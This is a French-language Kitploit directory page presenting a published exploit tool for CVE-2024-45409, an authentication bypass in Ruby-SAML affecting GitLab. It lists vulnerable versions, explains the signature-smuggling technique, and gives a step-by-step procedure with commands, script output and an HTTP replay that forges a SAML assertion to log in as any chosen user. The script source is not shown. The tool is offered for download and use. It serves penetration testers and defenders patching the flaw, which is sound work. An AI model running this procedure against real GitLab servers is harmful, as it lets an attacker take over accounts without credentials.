Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-45409 — Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit | Kitploit
Outils/GitHubGitHub/synacktiv/cve-2024-45409
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubsynacktiv/cve-2024-45409

CVE-2024-45409

Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409) exploit

Voir le dépôt
8413il y a 1 anVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Contournement d'authentification Ruby-SAML / GitLab (CVE-2024-45409) exploit

Ce script exploite la CVE-2024-45409 qui permet à un attaquant non authentifié ayant accès à tout document SAML signé émis par le fournisseur d'identité (IDP) de forger une réponse/assertion SAML et d'accéder à GitLab en tant que n'importe quel utilisateur.

Toutes les versions suivantes de GitLab (CE/EE) sont vulnérables :

  • < 16.11.10
  • 17.0.0 < 17.0.8
  • 17.0.0 < 17.1.8
  • 17.0.0 < 17.2.7
  • 17.0.0 < 17.3.3

Cet exploit injecte la DigestValue de l'assertion modifiée dans l'élément StatusDetail, permettant de faire passer clandestinement le sélecteur XPath qui utilisera cette valeur au lieu de celle du bloc SignedInfo.

Prérequis

  • Une réponse SAML valide émise par le fournisseur d'identité (IDP)

Utilisation

root@kitploit:~
apt install python3-lxml

Interceptez d'abord l'URL et la réponse SAML du fournisseur d'identité encodée en Base64, puis modifiez le contenu XML à l'aide du script.

root@kitploit:~
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]

SAMLResponse=PHNhbWxwOlJlc3Bv[...]
root@kitploit:~
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
	Digest algorithm: sha256
	Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

Ensuite, remplacez la valeur du paramètre SAMLResponse par la sortie du script. Si l'authentification réussit, vous serez redirigé vers la page d'accueil de GitLab.

root@kitploit:~
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]

<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>

Références

  • https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
  • https://github.com/advisories/GHSA-jw9c-mfg7-9rx2
  • https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-45409
  • https://www.cvedetails.com/cve/CVE-2024-45409/
Télécharger l’outil